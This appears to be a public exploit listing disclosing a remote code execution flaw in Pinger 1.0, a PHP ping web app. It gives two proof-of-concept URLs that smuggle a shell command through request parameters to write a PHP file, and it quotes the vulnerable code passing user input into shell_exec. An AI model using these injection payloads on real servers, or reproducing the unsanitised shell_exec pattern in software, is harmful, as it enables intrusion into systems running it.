Pinger 1.0 remote code execution Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-04-15 | Type : webapps | Platform : php

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[+] Code ...

# Title: Pinger 1.0 - Remote Code Execution
# Date: 2020-04-13
# Author: Milad Karimi
# Vendor Homepage: https://github.com/wcchandler/pinger
# Software Link: https://github.com/wcchandler/pinger
# Tested on: windows 10 , firefox
# Version: 1.0
# CVE : N/A

================================================================================
Pinger 1.0 - Simple Pinging Webapp Remote Code Execution
================================================================================
# Vendor Homepage: https://github.com/wcchandler/pinger
# Software Link: https://github.com/wcchandler/pinger
# Date: 2020.04.13
# Author: Milad Karimi
# Tested on: windows 10 , firefox
# Version: 1.0
# CVE : N/A
================================================================================
# Description:
simple, easy to use jQuery frontend to php backend that pings various
devices and changes colors from green to red depending on if device is
up or down.

# PoC :

http://localhost/pinger/ping.php?ping=;echo '<?php phpinfo(); ?>' >info.php
http://localhost/pinger/ping.php?socket=;echo '<?php phpinfo(); ?>' >info.php


# Vulnerabile code:

if(isset($_GET['ping'])){
// if this is ever noticably slower, i'll pass it stuff when called
// change the good.xml to config.xml, good is what I use at $WORK
$xml = simplexml_load_file("config.xml");
//$xml = simplexml_load_file("good.xml");
if($_GET['ping'] == ""){
$host = "127.0.0.1";
}else{
$host = $_GET['ping'];
}
$out = trim(shell_exec('ping -n -q -c 1 -w '.$xml->backend->timeout
.' '.$host.' | grep received | awk \'{print $4}\''));
$id = str_replace('.','_',$host);

if(($out == "1") || ($out == "0")){
echo json_encode(array("id"=>"h$id","res"=>"$out"));
}else{
## if it returns nothing, assume network is messed up
echo json_encode(array("id"=>"h$id","res"=>"0"));
}
}

if(isset($_GET['socket'])){
$xml = simplexml_load_file("config.xml");
//$xml = simplexml_load_file("good.xml");
if($_GET['socket'] == ""){
$host = "127.0.0.1 80";
}else{
$host = str_replace(':',' ',$_GET['socket']);
}
$out = shell_exec('nc -v -z -w '.$xml->backend->timeout.' '.$host.' 2>&1');
$id = str_replace('.','_',$host);
$id = str_replace(' ','_',$id);
if(preg_match("/succeeded/",$out)){
echo json_encode(array("id"=>"h$id","res"=>"1"));
}else{
## if it returns nothing, assume network is messed up
echo json_encode(array("id"=>"h$id","res"=>"0"));
}
}

?>